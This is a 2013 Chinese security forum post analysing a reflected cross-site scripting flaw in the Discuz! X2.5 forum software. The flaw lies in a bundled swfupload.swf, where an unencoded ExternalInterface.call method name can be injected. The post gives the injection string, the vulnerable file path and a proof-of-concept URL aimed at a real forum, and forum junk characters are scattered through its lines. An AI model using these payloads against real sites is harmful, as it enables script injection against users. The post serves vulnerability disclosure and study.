找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2027|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
( O0 L5 b9 K+ i  u9 i- Z& K
# p$ @  N+ t) x" p) {% T5 ~' iflash.external.ExternalInterface.call($methodName, $parameter)& h$ C( m" r5 n& G( H$ @
在浏览器中执行的是1 z$ V* D, U' V, u
2 M: V9 _$ T$ B5 `; t2 @7 j
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}- M# a* Z6 b5 k; @1 E" S, y
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
9 z* H: N# b& k( P" _" Q
5 r' z( F  B9 S6 P8 W5 hflash.external.ExternalInterface.call("object."+$methodName, $parameter)
* f7 M1 A1 d2 b6 s3 G  z$methodName = a())}catch(e){alert(/xss/)}//! J+ p0 e& B* X
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。# p2 z% c& K, T2 ~7 l" m; M) Y

8 d0 w5 n. w4 k, |/ B& gtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }  K; t' U1 U, Y$ L; W9 E. \& C- B

4 L  [2 y6 H* T9 A6 s+ z8 W这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )" ]+ O' _7 j4 ~/ d
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
$ \6 Q8 D' l- M# o% h1 c$ `9 Z( _" C0 F: E& s4 `

, A' l, q7 O/ p8 N/ I
3 n  N9 ~' w5 j. ^$ N漏洞文件:upload\static\image\common\swfupload.swf8 Q0 W- j! t0 d2 s. I7 N, Z7 n. [0 ]- \
  Z, K4 h2 U8 ]+ ?% U0 _
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf1 n2 H( b& z% ^3 ~, h
: T0 {4 L1 J4 l8 M8 K
; f4 s1 `& N! u
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
) }& B8 V% L  n7 @2 U6 p, ]  r6 \1 o6 M+ @3 |
' w9 T6 g& E' t( \+ Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表